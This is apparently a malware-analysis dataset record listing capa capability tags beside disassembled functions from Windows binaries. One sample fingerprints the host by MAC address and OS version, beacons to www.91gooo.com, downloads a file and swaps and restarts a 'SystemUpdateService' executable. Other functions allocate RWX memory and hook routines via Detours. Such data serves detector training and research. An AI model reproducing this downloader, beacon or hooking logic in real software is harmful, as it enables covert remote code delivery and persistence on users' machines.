joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403620
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
mov ecx, 0x4180ac
call fcn.00404f89
mov ebx, eax
mov dword [ebp - 4], 1
test ebx, ebx
je 0x4036d4
test esi, esi
jne 0x4036d4
mov eax, dword [ebp + 8]
shr eax, 4
inc eax
push esi
movzx ecx, ax
push ecx
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov edi, eax
test edi, edi
je 0x4036b8
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4036b2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4036b2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
add eax, esi
and ecx, 0xf
jbe 0x4036a1
cmp esi, eax
jae 0x4036a5
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x403693
cmp esi, eax
jb 0x4036a9
xor eax, eax
jmp 0x4036b2
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
mov esi, eax
test eax, eax
jne 0x4036dd
mov edi, dword [ebp - 4]
push edi
mov ecx, 0x4180ac
call fcn.00404f89
mov ebx, eax
inc edi
mov dword [ebp - 4], edi
test ebx, ebx
jne 0x403645
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4037c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
mov eax, dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4037d8
pop edi
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40380a
mov ecx, dword [ebp + 8]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x403806
cmp esi, eax
jae 0x40380a
dec edi
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4037f8
cmp esi, eax
jb 0x403810
pop esi
xor eax, eax
pop edi
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebp
ret
Function at 0x403d90
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x410fa9
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x417200]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov eax, dword [section..data]
mov edx, dword [eax + 0xc]
mov ecx, section..data
call edx
mov ecx, dword [ebp + 8]
add eax, 0x10
mov dword [ecx], eax
mov dword [ebp - 4], 0
push 0xa200
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x10], 0xa200
call fcn.004053a5
mov edx, dword [ebp - 0x10]
push edx
mov esi, eax
push 0
push esi
call fcn.00406ab0
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
add esp, 0x10
lea eax, [ebp - 0x10]
push eax
push esi
call edi
cmp eax, 0x6f
jne 0x403e45
push esi
call fcn.004053b0
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.004053a5
mov edx, dword [ebp - 0x10]
push edx
mov esi, eax
push 0
push esi
call fcn.00406ab0
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
push esi
call edi
movzx ecx, byte [esi + 0x199]
movzx edx, byte [esi + 0x198]
movzx eax, byte [esi + 0x197]
mov edi, dword [ebp + 8]
push ecx
movzx ecx, byte [esi + 0x196]
push edx
movzx edx, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push ecx
push edx
push eax
push str._02X:_02X:_02X:_02X:_02X:_02X
call fcn.00403580
push esi
call fcn.004053b0
add esp, 0x20
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403ea0
Capabilities:
Create http request
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41107b
mov eax, dword fs:[0]
push eax
sub esp, 0x124
mov eax, dword [0x417200]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [section..data]
mov edx, dword [eax + 0xc]
mov ecx, section..data
call edx
add eax, 0x10
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x12c]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call fcn.00403d90
mov esi, dword [eax]
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov ecx, 0xffffffff
mov edx, ebx
je 0x403f2f
mov edi, edi
movzx edi, byte [edx + esi]
mov ebx, ecx
and ebx, 0xff
xor edi, ebx
shr ecx, 8
xor ecx, dword [edi*4 + 0x414618]
inc edx
cmp edx, eax
jb 0x403f10
xor ebx, ebx
mov eax, dword [ebp - 0x12c]
not ecx
add eax, 0xfffffff0
mov esi, ecx
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403f55
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x124]
push ecx
mov dword [ebp - 0x124], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov edx, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x120]
push edx
push eax
push esi
push str.http:__www.91gooo.com_xget_id_08Xtype_d_d
lea edi, [ebp - 0x128]
call fcn.00403580
add esp, 0x10
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x130], ebx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
cmp esi, ebx
jne 0x403faf
xor esi, esi
jmp 0x403fe5
mov ecx, dword [ebp - 0x128]
push ebx
push 0x80000000
push ebx
push ebx
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
cmp eax, ebx
jne 0x403fd4
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor esi, esi
jmp 0x403fe5
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call edi
push esi
call edi
mov esi, 1
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x128]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40400e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004051d1
mov esp, ebp
pop ebp
ret
Function at 0x404160
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
xor edi, edi
push edi
push edi
push edi
push edi
push edi
mov ebx, eax
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
mov dword [ebp - 0xc], esi
cmp esi, edi
je 0x4041a7
mov eax, dword [ebp + 8]
push edi
push 0x80000000
push edi
push edi
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edi, eax
test edi, edi
jne 0x4041b0
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
test ebx, ebx
jne 0x4041ca
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
pop edi
pop esi
lea eax, [ebx + 1]
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x80
push 2
push 0
push 3
push 0x10000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4041ff
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0x1000
call fcn.004053a5
add esp, 4
lea ecx, [ebp - 4]
push ecx
push 0x1000
mov esi, eax
push esi
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40424d
push 0
lea edx, [ebp - 8]
push edx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 4]
push eax
push 0x1000
push esi
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
test eax, eax
jne 0x404226
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.004053b0
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 4
push edi
call esi
mov ecx, dword [ebp - 0xc]
push ecx
call esi
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404840
Capabilities:
Copy file
Delete file
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x410e5b
mov eax, dword fs:[0]
push eax
sub esp, 0x43c
mov eax, dword [0x417200]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - method.CService.virtual_0], vtable.CService.0
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x218]
push 0x5c
push ecx
call fcn.00406859
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 8
add eax, 2
push str.SystemUpdateService.exe
push eax
call esi
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0x420]
push eax
call esi
push str..bak
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x20
mov edi, eax
push str.SystemUpdateService
push edi
mov dword [ebp - 0x440], edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x40491b
lea edx, [ebp - 0x43c]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
je 0x404930
mov dword [ebp - 0x440], 0
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x218]
push ecx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [ebp - 0x218]
push edx
call esi
push ebx
lea eax, [ebp - 0x218]
call fcn.00404160
add esp, 4
test eax, eax
jne 0x40498a
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x420]
push ecx
call edi
xor ebx, ebx
jmp 0x40498f
mov ebx, 1
lea edx, [ebp - 0x420]
push edx
call esi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x10
mov edi, eax
push str.SystemUpdateService
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x4049cf
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004051d1
mov esp, ebp
pop ebp
ret

Function at 0x4051d1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x417200]
jne 0x4051db
repz ret
jmp fcn.00407eea
Function at 0x40d2ab
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417200]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004077cc
and dword [ebp - 0x14], 0
cmp dword [0x418e54], 0
mov dword [ebp - 0x18], eax
jne 0x40d35e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40d406
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40d406
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x418e54], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x418e58], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x418e5c], eax
call edi
push eax
call esi
mov dword [0x418e64], eax
test eax, eax
je 0x40d35e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x418e60], eax
mov eax, dword [0x418e60]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40d3b7
cmp dword [0x418e64], ecx
je 0x40d3b7
push eax
call esi
push dword [0x418e64]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40d3b7
test ebx, ebx
je 0x40d3b7
call edi
test eax, eax
je 0x40d3ae
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40d3ae
test byte [ebp - 8], 1
jne 0x40d3b7
or dword [ebp + 0x10], 0x200000
jmp 0x40d3ea
mov eax, dword [0x418e58]
cmp eax, dword [ebp - 0x18]
je 0x40d3ea
push eax
call esi
test eax, eax
je 0x40d3ea
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40d3ea
mov eax, dword [0x418e5c]
cmp eax, dword [ebp - 0x18]
je 0x40d3ea
push eax
call esi
test eax, eax
je 0x40d3ea
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x418e54]
call esi
test eax, eax
je 0x40d406
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40d408
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004051d1
leave
ret
Function at 0x1000a3f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1022e818
push 0x1020e3d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov edi, edx
push 0x1c
lea eax, [ebp - 0x34]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 4], 0
mov eax, 0x5a4d
mov ecx, dword [ebp - 0x30]
cmp word [ecx], ax
jne 0x1000a492
mov edx, dword [ecx + 0x3c]
cmp dword [edx + ecx], 0x4550
jne 0x1000a492
mov esi, dword [edx + ecx + 0xd8]
lea eax, [esi + ecx]
cmp edi, eax
jb 0x1000a492
mov eax, dword [edx + ecx + 0xdc]
add eax, esi
add eax, ecx
cmp edi, eax
jae 0x1000a492
mov dword [ebp - 4], 0xffffffff
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a730
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [0x102360b4]
push edi
test esi, esi
je 0x1000a75f
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 0x10000
push esi
call edi
test eax, eax
je 0x1000a767
mov esi, dword [esi + 4]
test esi, esi
jne 0x1000a746
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000a800
Capabilities:
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, edx
call fcn.1000a7e0
mov esi, eax
cmp esi, edi
jae 0x1000a896
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea eax, [esi - 0x70000000]
cmp eax, 0x10000000
ja 0x1000a835
add esi, 0x8000000
jmp 0x1000a892
push 0x1c
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
xorps xmm0, xmm0
push eax
push esi
movups xmmword [ebp - 0x1c], xmm0
movq qword [ebp - 0xc], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1000a896
cmp dword [ebp - 0xc], 0x10000
mov ecx, dword [ebp - 0x10]
jne 0x1000a888
cmp ecx, 0x10000
jb 0x1000a888
push 0x40
push 0x3000
push 0x10000
push esi
call ebx
test eax, eax
jne 0x1000a898
add esi, 0x10000
jmp 0x1000a892
add ecx, dword [ebp - 0x1c]
call fcn.1000a7e0
mov esi, eax
cmp esi, edi
jb 0x1000a820
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a8a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [edx - 0x10000]
call fcn.1000a7d0
mov esi, eax
cmp esi, edi
jbe 0x1000a94a
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop word [eax + eax]
lea eax, [esi - 0x70000000]
cmp eax, 0x10000000
ja 0x1000a8e5
sub esi, 0x8000000
jmp 0x1000a946
push 0x1c
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
xorps xmm0, xmm0
push eax
push esi
movups xmmword [ebp - 0x1c], xmm0
movq qword [ebp - 0xc], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1000a94a
cmp dword [ebp - 0xc], 0x10000
jne 0x1000a936
cmp dword [ebp - 0x10], 0x10000
jb 0x1000a936
push 0x40
push 0x3000
push 0x10000
push esi
call ebx
test eax, eax
jne 0x1000a94c
sub esi, 0x10000
jmp 0x1000a946
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10000]
call fcn.1000a7d0
mov esi, eax
cmp esi, edi
ja 0x1000a8d0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a960
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, edx
mov esi, ecx
mov edx, esi
mov ecx, eax
call fcn.1000a8a0
test eax, eax
jne 0x1000a981
mov edx, dword [ebp + 8]
mov ecx, esi
pop esi
pop ebp
jmp fcn.1000a800
pop esi
pop ebp
ret

Function at 0x1000a990
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
lea eax, [ebp - 4]
mov esi, ecx
push edi
push eax
lea edx, [ebp - 8]
call fcn.1000a4b0
mov edx, dword [0x102360ac]
add esp, 4
mov edi, dword [ebp - 4]
mov ebx, dword [ebp - 8]
mov eax, dword [0x102360b4]
test edx, edx
jne 0x1000a9cb
test eax, eax
je 0x1000a9de
mov edx, eax
mov dword [0x102360ac], edx
mov ecx, dword [edx + 8]
test ecx, ecx
je 0x1000a9de
cmp ecx, ebx
jb 0x1000a9de
cmp ecx, edi
jbe 0x1000aa70
mov edx, eax
mov dword [0x102360ac], edx
test eax, eax
je 0x1000aa14
mov ecx, eax
nop dword [eax]
test eax, eax
je 0x1000aa03
mov eax, dword [ecx + 8]
test eax, eax
je 0x1000aa03
cmp eax, ebx
jb 0x1000aa03
cmp eax, edi
jbe 0x1000aa70
mov edx, dword [edx + 4]
mov ecx, edx
mov dword [0x102360ac], edx
mov eax, edx
test ecx, ecx
jne 0x1000a9f0
and esi, 0xffff0000
mov edx, ebx
push edi
mov ecx, esi
call fcn.1000a960
mov edx, eax
add esp, 4
test edx, edx
je 0x1000aa9a
mov dword [edx], 0x52727464
xor ecx, ecx
mov dword [edx + 8], 0
mov esi, 0x38b
mov eax, dword [0x102360b4]
mov dword [edx + 4], eax
lea eax, [edx + 0xffa8]
mov dword [0x102360ac], edx
mov dword [0x102360b4], edx
nop dword [eax + eax]
mov dword [eax + 0x40], ecx
mov ecx, eax
sub eax, 0x48
sub esi, 1
jne 0x1000aa60
mov dword [edx + 8], ecx
mov esi, dword [edx + 8]
cmp esi, ebx
jb 0x1000aa9a
cmp esi, edi
ja 0x1000aa9a
mov ecx, dword [esi + 0x40]
push 0x48
push 0xcc
push esi
mov dword [edx + 8], ecx
call fcn.101e9940
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000aae0
Capabilities:
Hook routines via microsoft detours

Disassembly:
cmp dword [ecx], 0x52727464
push esi
push edi
jne 0x1000ab1a
lea edi, [ecx + 0x10000]
xor edx, edx
lea esi, [ecx + 0x88]
mov eax, dword [esi]
test eax, eax
je 0x1000ab06
cmp eax, ecx
jb 0x1000ab1a
cmp eax, edi
jae 0x1000ab1a
inc edx
add esi, 0x48
cmp edx, 0x38d
jb 0x1000aaf8
pop edi
mov eax, 1
pop esi
ret
pop edi
xor eax, eax
pop esi
ret

Function at 0x1000ac20
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x102360a8], eax
je 0x1000ac3b
mov eax, 0x10dd
mov esp, ebp
pop ebp
ret
push ebx
push esi
mov esi, dword [0x102360bc]
push edi
test esi, esi
je 0x1000ac90
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x10]
push dword [esi + 0x14]
movzx eax, byte [eax + 0x36]
push eax
push dword [esi + 0xc]
call ebx
cmp dword [esi + 4], 0
jne 0x1000ac7d
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x1000ac7d
call fcn.1000aab0
mov dword [esi + 0x10], 0
mov edi, dword [esi]
push 0x18
push esi
call fcn.101e73a4
add esp, 8
mov esi, edi
test edi, edi
jne 0x1000ac50
mov dword [0x102360bc], 0
call fcn.1000a780
mov edi, dword [0x102360b8]
test edi, edi
je 0x1000acc8
mov ebx, dword [sym.imp.KERNEL32.dll_ResumeThread]
nop
push dword [edi + 4]
call ebx
mov esi, dword [edi]
push 8
push edi
call fcn.101e73a4
add esp, 8
mov edi, esi
test esi, esi
jne 0x1000acb0
pop edi
pop esi
mov dword [0x102360b8], 0
xor eax, eax
mov dword [0x102360a8], 0
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000afe5
Capabilities:
Suspend thread

Disassembly:
mov eax, dword [0x102360a4]
push esi
mov esi, ecx
test eax, eax
jne 0x1000b04e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp esi, eax
jne 0x1000affa
xor eax, eax
pop esi
ret
push edi
push 8
call fcn.101e725a
add esp, 4
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x1000b03b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push 8
push edi
call fcn.101e73a4
add esp, 8
mov dword [0x102360a4], esi
mov eax, esi
mov dword [0x102360b0], 0
pop edi
pop esi
ret
mov eax, dword [0x102360b8]
mov dword [edi], eax
xor eax, eax
mov dword [edi + 4], esi
mov dword [0x102360b8], edi
pop edi
pop esi
ret
Function at 0x1000c470
Capabilities:
Hash data using fnv

Disassembly:
mov edx, ecx
jmp 0x1000c480
movzx eax, byte [edx]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edx + 1]
xor ecx, eax
movzx eax, byte [edx + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edx + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
ret

Function at 0x1000dcb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
push 0x1c
mov dword [ebp - 4], esi
call fcn.101e725a
add esp, 4
mov edi, eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
cmp dword [edi + 0x14], 0x40
je 0x1000dcfd
push 4
call fcn.101e725a
add esp, 4
mov esi, eax
push esi
push 0x40
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 4
push esi
call fcn.101e73a4
add esp, 8
push 0x1c
push edi
call fcn.101e73a4
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x101839e0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
lea eax, [ebp - 0x208]
push 0x100
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str._t2embed.dll
lea eax, [ebp - 0x208]
push 0x104
push eax
call fcn.101f379a
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x10235fe8], eax
test eax, eax
jne 0x10183a62
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x408]
push str.Failed_to_load_DLL__path_was:__s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x408]
push 0
push eax
push str.DLL_Failed_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
mov esp, ebp
pop ebp
ret
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
nop dword [eax]
push dword [esi + 0x1022c220]
push eax
call edi
mov dword [esi + 0x10235ff0], eax
add esi, 4
cmp esi, 0x64
jge 0x10183a8e
mov eax, dword [0x10235fe8]
jmp 0x10183a70
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret